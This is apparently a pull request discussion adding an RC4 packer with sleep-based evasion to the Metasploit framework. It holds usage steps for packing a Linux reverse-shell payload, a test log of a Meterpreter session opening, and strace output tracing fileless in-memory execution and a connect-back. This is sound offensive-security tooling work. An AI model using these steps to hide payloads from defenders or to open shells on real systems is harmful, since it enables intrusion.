adding RC4 packer x64, rc4 decrypt routine and sleep evasion routine

[litemars]

Description

This PR introduces an x64 Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

### What’s included

• x64 RC4 packer (Evasion Linux Module)
• x64 sleep evasion prepend (Mixin)
• x64 RC4 decryption stub (Mixin)

### How to use it - BASIC

• use evasion/linux/x64_rc4_packer
• set payload linux/x64/shell_reverse_tcp
• set LHOST x.x.x.x
  run

Optional

• set SLEEP_TIME x

[litemars]

Hi,

I remove the stub for the RC4 decryption and added the assembly part with Metasm

[dledda-r7]

msf evasion(linux/x64/rc4_packer) > set SLEEP_TIME 3
SLEEP_TIME => 3
msf evasion(linux/x64/rc4_packer) > set FILENAME /home/kali/Public/metsrv.x64.rc4.elf
FILENAME => /home/kali/Public/metsrv.x64.rc4.elf
msf evasion(linux/x64/rc4_packer) > run
msf evasion(linux/x64/rc4_packer) > 
[*] Sending stage (3090404 bytes) to 127.0.0.1
[*] Meterpreter session 3 opened (127.0.0.1:4444 -> 127.0.0.1:42950) at 2026-03-09 10:53:01 -0400

┌──(kali㉿kali)-[~/Public]
└─$ strace ./metsrv.x64.rc4.elf
execve("./metsrv.x64.rc4.elf", ["./metsrv.x64.rc4.elf"], 0x7fff018a4550 /* 57 vars */) = 0
nanosleep({tv_sec=3, tv_nsec=0}, NULL)  = 0
mmap(NULL, 389, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f00fdd3a000
memfd_create("", MFD_CLOEXEC)           = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0"..., 250) = 250
execve("/proc/self/fd/////3", NULL, NULL) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fee55e58000
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
read(3, "WH1\377H\307\306\344'/\0H\307\302\7\0\0\0I\307\302\"\0\0\0M1\300M1\311H"..., 126) = 126
mmap(NULL, 3090404, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fee55b65000
recvfrom(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\272\223\0\0\0\0\0\0"..., 3090404, MSG_WAITALL, NULL, NULL) = 3090404
arch_prctl(ARCH_SET_FS, 0x7fee55e562f8) = 0
set_tid_address(0x7fee55e56330)         = 104522
brk(NULL)                               = 0x3b3a7000
...

[adfoster-r7]

Release Notes

Adds a new module evasion/linux/x64/rc4_packer packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.